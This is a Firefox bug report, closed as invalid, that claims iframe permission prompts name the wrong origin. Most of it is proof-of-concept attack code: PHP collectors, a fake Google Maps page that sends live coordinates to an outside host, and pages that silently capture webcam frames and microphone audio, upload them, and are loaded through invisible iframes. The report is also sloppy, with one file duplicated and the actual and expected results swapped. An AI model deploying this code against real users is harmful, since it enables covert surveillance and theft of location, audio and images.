Bug: Cross-Origin Permission Misrepresentation in Firefox Desktop (macOS)
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2025-02-04 15:59:41+00:00
Resolved: 2025-02-07 20:29:37+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36

Steps to reproduce:

Steps to reproduce
Host the below mentioned files on attacker.com

- record.php
```php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Check if audio file is uploaded
    if (isset($_FILES['audio']) && $_FILES['audio']['error'] === UPLOAD_ERR_OK) {
        $uploadDir = 'uploads/';
        if (!is_dir($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }
        $webmFilePath = $uploadDir . basename($_FILES['audio']['name']);
        if (move_uploaded_file($_FILES['audio']['tmp_name'], $webmFilePath)) {
            $uploadStatus = 'Audio file uploaded successfully.';
        } else {
            $uploadStatus = 'Error moving uploaded file.';
        }
    } else {
        $uploadStatus = 'No audio file uploaded or upload error.';
    }

    // Log client information
    if (isset($_POST['logData'])) {
        $logData = json_decode($_POST['logData'], true);
        if ($logData && isset($logData['domain']) && isset($logData['timestamp'])) {
            // Retrieve the client's IP address
            $ipAddress = $_SERVER['REMOTE_ADDR'] ?? 'Unknown IP';

            // Retrieve the client's User Agent
            $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent';

            // Format the log entry
            $logEntry = sprintf(
                "[%s] Microphone access granted on domain: %s | IP Address: %s | User Agent: %s\n",
                $logData['timestamp'],
                $logData['domain'],
                $ipAddress,
                $userAgent
            );

            // Append the log entry to the access.log file
            file_put_contents('access.log', $logEntry, FILE_APPEND);
        }
    }

    // Respond to the client
    echo $uploadStatus ?? 'Log entry recorded';
} else {
    http_response_code(405);
    echo 'Method not allowed';
}
?>
```

- map.php
```php
<?php
// Log coordinates
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    file_put_contents('data.txt', "{$data['lat']},{$data['lng']}\n", FILE_APPEND);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Google Maps</title>
    <!-- Leaflet.js (OpenStreetMap) -->
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
    <style>
        body { margin: 0; }
        #map { height: 100vh; }
        .leaflet-control-attribution { display: none; }
        .gm-style { /* Google Maps-like UI */
            font-family: Arial, sans-serif;
            box-shadow: 0 2px 6px rgba(0,0,0,0.3);
        }
    </style>
</head>
<body>
    <div id="map"></div>

    <script>
    // Initialize map
    const map = L.map('map').setView([0, 0], 15); // Default center
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
        attribution: '&copy; OpenStreetMap'
    }).addTo(map);

    // Add user marker
    const userMarker = L.marker([0, 0]).addTo(map)
        .bindPopup("Your Location");

    // Geolocation tracking
    if (navigator.geolocation) {
        navigator.geolocation.watchPosition(
            position => {
                const lat = position.coords.latitude;
                const lng = position.coords.longitude;

                // Update map view
                map.setView([lat, lng], 17);
                userMarker.setLatLng([lat, lng]);

                // Exfiltrate data
                fetch('https://12x.site/attacker/map.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ lat, lng })
                });
            },
            error => console.error(error),
            { enableHighAccuracy: true }
        );
    }

    // Add fake Google Maps UI elements
    const fakeControls = `
        <div style="position: absolute; top: 10px; left: 50px; z-index: 1000; background: white; padding: 8px; border-radius: 4px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);">
            <input type="text" placeholder="Search location..." style="width: 300px; padding: 8px; border: 1px solid #ddd;">
        </div>
        <div style="position: absolute; top: 10px; right: 20px; z-index: 1000; background: white; padding: 8px; border-radius: 50%; box-shadow: 0 2px 6px rgba(0,0,0,0.3);">
            ☰
        </div>
    `;
    document.body.insertAdjacentHTML('beforeend', fakeControls);
    </script>
</body>
</html>
```

- screenshot.php
```php
<?php
// Log coordinates
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    file_put_contents('data.txt', "{$data['lat']},{$data['lng']}\n", FILE_APPEND);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Google Maps</title>
    <!-- Leaflet.js (OpenStreetMap) -->
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
    <style>
        body { margin: 0; }
        #map { height: 100vh; }
        .leaflet-control-attribution { display: none; }
        .gm-style { /* Google Maps-like UI */
            font-family: Arial, sans-serif;
            box-shadow: 0 2px 6px rgba(0,0,0,0.3);
        }
    </style>
</head>
<body>
    <div id="map"></div>

    <script>
    // Initialize map
    const map = L.map('map').setView([0, 0], 15); // Default center
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
        attribution: '&copy; OpenStreetMap'
    }).addTo(map);

    // Add user marker
    const userMarker = L.marker([0, 0]).addTo(map)
        .bindPopup("Your Location");

    // Geolocation tracking
    if (navigator.geolocation) {
        navigator.geolocation.watchPosition(
            position => {
                const lat = position.coords.latitude;
                const lng = position.coords.longitude;

                // Update map view
                map.setView([lat, lng], 17);
                userMarker.setLatLng([lat, lng]);

                // Exfiltrate data
                fetch('https://12x.site/attacker/map.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ lat, lng })
                });
            },
            error => console.error(error),
            { enableHighAccuracy: true }
        );
    }

    // Add fake Google Maps UI elements
    const fakeControls = `
        <div style="position: absolute; top: 10px; left: 50px; z-index: 1000; background: white; padding: 8px; border-radius: 4px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);">
            <input type="text" placeholder="Search location..." style="width: 300px; padding: 8px; border: 1px solid #ddd;">
        </div>
        <div style="position: absolute; top: 10px; right: 20px; z-index: 1000; background: white; padding: 8px; border-radius: 50%; box-shadow: 0 2px 6px rgba(0,0,0,0.3);">
            ☰
        </div>
    `;
    document.body.insertAdjacentHTML('beforeend', fakeControls);
    </script>
</body>
</html>
```

- pocx.html
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Auto Capture and Submit Photos</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
        }
        #status {
            margin-top: 20px;
            font-size: 14px;
            text-align: center;
        }
        #video {
            width: 100%;
            max-width: 640px;
            border: 1px solid #ccc;
            margin-top: 20px;
        }
        #canvas {
            display: none;
        }
    </style>
</head>
<body>
    <p id="status">Requesting camera access...</p>
    <video id="video" autoplay></video>
    <canvas id="canvas"></canvas>

    <script>
        let photoCount = 0;  // Keep track of how many photos have been captured
        const maxPhotos = 3;  // Number of photos to capture

        async function requestCameraAccess() {
            const status = document.getElementById('status');
            const videoElement = document.getElementById('video');
            const canvas = document.getElementById('canvas');

            if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
                status.textContent = 'Your browser does not support accessing the camera.';
                return;
            }

            try {
                // Request camera access
                const stream = await navigator.mediaDevices.getUserMedia({ video: true });
                status.textContent = 'Camera access granted.';
                videoElement.srcObject = stream;

                // Capture and submit photos every 1.5 seconds for 3 photos
                videoElement.onplaying = function () {
                    startAutoCapture();
                };

            } catch (error) {
                status.textContent = `An error occurred: ${error.message}`;
            }
        }

        function startAutoCapture() {
            const videoElement = document.getElementById('video');
            const interval = 1500;  // Capture every 1.5 seconds (1500ms)

            const captureInterval = setInterval(() => {
                if (photoCount < maxPhotos) {
                    captureAndSubmitPhoto();
                    photoCount++;
                } else {
                    clearInterval(captureInterval);  // Stop capturing after 3 photos
                    document.getElementById('status').textContent = 'All photos captured and uploaded.';
                }
            }, interval);
        }

        function captureAndSubmitPhoto() {
            const videoElement = document.getElementById('video');
            const canvas = document.getElementById('canvas');

            // Set canvas dimensions to match video dimensions
            canvas.width = videoElement.videoWidth;
            canvas.height = videoElement.videoHeight;

            // Draw the current video frame onto the canvas
            const ctx = canvas.getContext('2d');
            ctx.drawImage(videoElement, 0, 0, canvas.width, canvas.height);

            // Convert the canvas content to a data URL (image)
            const photoDataUrl = canvas.toDataURL('image/png');

            // Automatically upload the captured photo
            uploadPhoto(photoDataUrl);
        }

        async function uploadPhoto(photoDataUrl) {
            const formData = new FormData();
            formData.append('photo', photoDataUrl);

            // Log data with domain and timestamp
            const logData = {
                domain: window.location.hostname,
                timestamp: new Date().toISOString()
            };
            formData.append('logData', JSON.stringify(logData));

            // Send the photo to the server (replace with your server URL)
            const response = await fetch('https://12x.site/screenshot.php', {
                method: 'POST',
                body: formData
            });

            const status = document.getElementById('status');
            if (response.ok) {
                status.textContent = `Photo ${photoCount} uploaded successfully.`;
            } else {
                status.textContent = `Failed to upload photo ${photoCount}.`;
            }
        }

        // Start camera access on page load
        window.onload = requestCameraAccess;
    </script>
</body>
</html>
```

-poc1.html
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Microphone Access and Recording</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
        }
        #status {
            margin-top: 20px;
            font-size: 14px;
            text-align: center;
        }
    </style>
</head>
<body>
    <p id="status">Requesting microphone access...</p>
    <script>
        async function requestMicrophoneAccessAndRecord() {
            const status = document.getElementById('status');

            if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
                status.textContent = 'Your browser does not support accessing the microphone.';
                return;
            }

            try {
                const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
                status.textContent = 'Microphone access granted. Recording...';

                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.ondataavailable = event => {
                    audioChunks.push(event.data);
                };

                mediaRecorder.onstop = async () => {
                    const audioBlob = new Blob(audioChunks, { type: 'audio/webm' });
                    const formData = new FormData();
                    formData.append('audio', audioBlob, 'recording.webm');

                    const logData = {
                        domain: window.location.hostname,
                        timestamp: new Date().toISOString()
                    };
                    formData.append('logData', JSON.stringify(logData));

                    const response = await fetch('https://12x.site/record.php', {
                        method: 'POST',
                        body: formData
                    });

                    if (response.ok) {
                        status.textContent = 'Recording uploaded successfully.';
                    } else {
                        status.textContent = 'Failed to upload recording.';
                    }
                };

                mediaRecorder.start();

                // Stop recording after a specified duration (e.g., 5 seconds)
                setTimeout(() => {
                    mediaRecorder.stop();
                }, 5000);

            } catch (error) {
                status.textContent = `An error occurred: ${error.message}`;
            }
        }

        window.onload = requestMicrophoneAccessAndRecord;
    </script>
</body>
</html>
```

Host the below-mentioned code on legit-website.com as page.html
```html
<html lang="en">
<head>

</head>
<body>
<iframe id="legitimate-content" src="https://attacker.com/poc.html" allow="microphone" style="opacity: 0;"></iframe>
<iframe id="legitimate-content" src="https://attacker.com/pocx.html" allow="camera" style="opacity: 0;"></iframe>
<iframe id="legitimate-content" src="https://12x.site/attacker/map.php" allow="geolocation" style="opacity: 0;"></iframe>

</body>
</html>
```

Observed Behavior:
Firefox displays: “legit-website.com wants to use your location” (incorrect origin).
Post-grant, attacker.com gains persistent access to the device, even on other sites embedding the same iframe.

Actual results:
it should display that attacker.com is asking the permission


Expected results:
Firefox displays: “legit-website.com wants to use your location” (incorrect origin).
Post-grant, attacker.com gains persistent access to the device, even on other sites embedding the same iframe.


Impact
Silent Surveillance: Attackers exfiltrate real-time coordinates, audio, or video without user awareness.
Cross-Site Exploitation: Permissions granted to attacker.com on one site apply globally.
Irrevocable Access: No UI exists to revoke iframe permissions (only top-level domains are listed in settings).

Example Attack Chain Day 1: User visits trusted-news.com, grants location access to the misattributed prompt. Day 2: Attacker embeds the same iframe in trusted-news.com. The user’s location, camera,microphone is automatically tracked without new prompts.


please watch video poc for better understanding.